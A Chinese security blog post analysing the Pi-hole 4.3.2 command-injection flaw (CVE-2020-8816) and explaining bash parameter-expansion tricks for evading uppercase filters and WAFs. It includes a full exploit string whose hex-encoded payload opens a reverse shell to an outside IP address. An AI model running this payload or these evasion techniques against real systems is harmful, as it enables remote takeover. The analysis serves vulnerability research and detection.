1、前言

最近偶然看到了Pi-hole <=4.3.2远程代码执行漏洞(CVE-2020-8816)相关的文章,漏洞成因不是很难,但是里面构造的Exp引起了我的兴趣。由于Pi-hole代码对命令注入的参数整体做了大写转换,因此用到了shell参数扩展进行绕过,后面我查询了相关资料,发现这种方式非常灵活,可被用在命令注入攻击中以绕过传统WAF。

2、CVE-2020-8816简单复现分析

我们下载了Pi-hole 4.3.2版本进行安装,安装成功后会提示访问http://pi.hole/admin进行Web界面的管理。该漏洞为授权命令执行漏洞,Pi-hole安装完成后会在界面生成一个随机密码。成功登录后,访问Setting-DHCP,在下图的Mac address处可进行命令注入

此时我们填写参数并抓包,发现请求的文件路径为/admin/setting.php,仔细查看了setting.php文件逻辑,发现该文件主要用来展示设置的内容和布局,并且是php和html混合的方式,并没有进行保存操作的代码,但是我们在代码第9行发现引入了scripts/pi-hole/php/savesettings.php

跟进到savesettings.php,发现会检查POST参数中field的值,并利用switch case判断,此时抓取的数据包中field为DHCP,可以跟进到548行。命令注入点AddMAC被赋值给$mac,并且在556行会由validMAC方法进行校验。

我们继续跟进validMAC方法,发现只要匹配到12个数字字母即返回成功,正则表达式中没有设定开始结束符号导致可以插入任意字符,随后$mac在604行直接拼接到exec方法中,从而导致命令注入。

但是在560行会将$mac所有字符转成大写,我们知道linux中的命令是区分大小写的,大写的如”ID”、”WHOAMI”等都是无法执行的,但是PHP中的函数是不区分大小写的。因此漏洞作者引入了shell参数扩展的方法,通过模式匹配获取小写的p、h、r等字符。

这里我们可以根据env中的常量进行截取:

$PATH=’ /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin’

$W=${PATH##*:/}=’snap/bin’

$Y=${W%%/???}=’snap’

$P=${Y#???}=’p’

$PWD=’/var/www/html/admin’

$I=${PWD#/???/???/}

$H=${I%???/?????}

$Q=${PWD%/???/????/?????}

$R=${Q#/??}

那么可以构造如下的Exp:

123456789123&&W=${PATH##*:/}&&Y=${W%%/???}&&P=${Y#???}&&I=${PWD#/???/???/}&&H=${I%???/?????}&&Q=${PWD%/???/????/?????}&&R=${Q#/??}&&$P$H$P$IFS-$R$IFS'EXEC(HEX2BIN("62617368202D63202762617368202D69203E26202F6465762F7463702F312E312E312E312F3930393020303E263127"));'&&

3、Shell参数扩展介绍

Shell参数扩展的绕过方式非常有意思,在命令注入漏洞的利用中可能被用以绕过WAF等。我也去查询了一下相关的资料,参数扩展定义如下:在shell中可以使用花括号${}包裹参数来防止紧跟在参数后面的字符串被当作参数变量名的一部分,所以最基本的参数展开就是${parameter},常见的可被利用的有以下操作:

大小写转换:

${parameter^pattern}  //对pattern匹配的第一个字符转成大写

${parameter^^pattern} //对pattern匹配的所有字符转成大写

${parameter,pattern} //对pattern匹配的第一个字符转成小写

${parameter,,pattern} //对pattern匹配的所有字符转成小写

字符串删除:

${parameter#pattern} //从头开始匹配符合pattern的数据,则将符合的最短的数据删除

${parameter##pattern}//从头开始匹配符合pattern的数据,则将符合的最长的数据删除

${parameter%pattern}//从后开始匹配符合pattern的数据,则将符合的最短的数据删除

${parameter%%pattern}//从后开始匹配符合pattern的数据,则将符合的最长的数据删除

可以举一个简单的例子如下图,在知道$PATH的情况下可多次利用模式匹配进行字符串删除留下可用字符,从而执行id命令。

参数切片:

${parameter:offset:length} //从offset下标处截取长度为length的部分

使用切片的方式可以更方便地截取字符。

参数替换:

${parameter/pattern/string} //将pattern匹配的部分替换为string

在命令注入时可以将敏感词进行变形,以替换的方式进行绕过。

其中模式匹配pattern常见有下面的符号:

* //匹配任意字符串

?//匹配任意单个字符

[…] //匹配集合中任意一个字符

经过实际测试,发现诸如PHP、JAVA等语言的命令执行函数,不能完全支持shell参数扩展的方式。在PHP 7.0.3环境下,使用system、exec、shell_exec命令执行方法,只支持上述字符串删除的方式;而在JAVA1.8环境下,Runtime.getRuntime().exec则支持上述所有方式。

4、安全产品解决方案

百度安全一体化产品已支持CVE-2020-8816检测和拦截, 并且通过AI学习的智能白模型也能很有效地拦截Shell参数扩展造成的变形。有需求的客户可以登录anquan.baidu.com联系我们。

参考链接:

https://www.freebuf.com/vuls/234533.html

https://www.gnu.org/software/bash/manual/html_node/Pattern-Matching.html#Pattern-Matching

https://www.gnu.org/software/bash/manual/html_node/Shell-Parameter-Expansion.html

推荐文章

Shiro rememberMe反序列化攻击检测思路

Spring Boot + H2 JNDI注入漏洞复现分析

shell正则表达式截取字符串_从CVE20208816聊聊shell参数扩展相关推荐

  1. shell 查某个字符串_操作系统_4:shell基础 - 一路向北321

    目录: 1.Shell是什么?1分钟理解Shell的概念! 2.Linux Shell脚本攻略 3.一篇文章让你彻底掌握 shell 语言 1.Shell是什么?1分钟理解Shell的概念! 现在我们 ...

  2. oracle正则表达式截断,在oracle中使用正则表达式截取字符串

    在oracle中使用正则表达式截取字符串 Sql代码 --以下两条语句,将summary按-分解为两段字符串 regexp_substr(summary, '[^-]+', 1, 1) as _wor ...

  3. java 正则 空格_java 正则匹配空格字符串 正则表达式截取字符串

    java 正则匹配空格字符串 正则表达式截取字符串 需求:从一堆sql中取出某些特定字符串: 比如配置的sql语句为:"company_code = @cc and project_id = ...

  4. flutter截取字符串_字符串截取的常用方法

    string str = "123abc456";        int i = 3; 1. 取字符串的前i个字符 str=str.Substring(0,i); 2. 去掉字符串 ...

  5. char截取字符串_字符串的排列(滑动窗口)

    题目: 给定两个字符串 s1 和 s2,写一个函数来判断 s2 是否包含 s1 的排列. 换句话说,第一个字符串的排列之一是第二个字符串的子串. 示例1: 输入: s1 = "ab" ...

  6. ruby字符串截取字符串_如何在Ruby中附加字符串?

    ruby字符串截取字符串 There are multiple ways to do the required but we will study about three of them. 有多种方法 ...

  7. 从末尾截取字符串_【MID】文本截取函数如何使用?

    在前面已经学习了截取字符串函数中的LEFT函数和RIGHT函数,今天本文继续讲解截取字符串函数中的最后一个函数--MID函数的相关使用方法.相比较而言,它应该是在Excel中应用更为频繁的.比如常见的 ...

  8. jquery 逗号分割截取字符串_经典面试题:分割回文串

    题目 给定一个字符串 s,将 s 分割成一些子串,使每个子串都是回文串. 返回 s 所有可能的分割方案. 示例: 输入: "aab"输出:[ ["aa",&qu ...

  9. 正则表达式查找字符串_如何简单理解正则表达式?只需1分钟就可以看到她优美的舞姿...

    Hi,大家好,本章节开始将会从零开始和大家用图文的方式,让你从零基础学会正则表达式!有兴趣的小伙伴可以持续关注我,或者在专栏中进行查看自我学习,愿与君携手前行! 本文将要说到的正则表达式?可能初学的你 ...

最新文章

  1. 一个free异常引发的异常
  2. 牛客网暑期ACM多校训练营(第九场)
  3. 动态规划 —— 背包问题 P07 —— 有依赖背包
  4. fetch移动端浏览器兼容问题
  5. 如何在服务器上部署若依开源框架?(Linux版)
  6. 网站泛解析 和 主记录解析
  7. 一个非常好用的JS日历控件(支持.NET)
  8. SAStruts アクションにJSONを返すメソッドを作成してみる
  9. SHELL中获取函数返回值
  10. Java中异常处理示例
  11. snmp v3 参数_SNMPv3 配置及snmpwalk命令信息获取
  12. 论文阅读:CVPR2021 | Involution: Inverting the Inherence of Convolution for Visual Recognition
  13. 苹果描述文件服务器证书无效,22.iOS企业版证书、描述文件过期问题解决
  14. 如何一天做出新闻搜索引擎(1)——新闻的搜集与数据库的建立
  15. 对于一个小白来说,遇到的前端问题(3)
  16. implode( -(php),php implode()函数 语法
  17. POCO C++库学习和分析 -- 序
  18. 干货 :超详细的AI 专家路线图!
  19. Php一键转存微信文章,python如何导出微信公众号文章
  20. 听说你,对薪酬待遇不太满意 . . . .

热门文章

  1. I2C总线 | 百度百科
  2. F-Stack:ff_run函数详解
  3. 成为linux全栈工程师:2019.05.25
  4. ncurses输出函数:字符+字符串的输出
  5. android spinner保存对象,Android Spinner默认值问题
  6. 两条信号之间加电容_模电总结:第七章、波形的发生和信号的转换,正弦波振荡的电路...
  7. java 树 右键菜单_jsp代码 树上加右键菜单
  8. Google Developers可以访问了?
  9. SpringBoot定时任务Schedule (七)
  10. python nan判断_Python数据分析:Numpy基本操作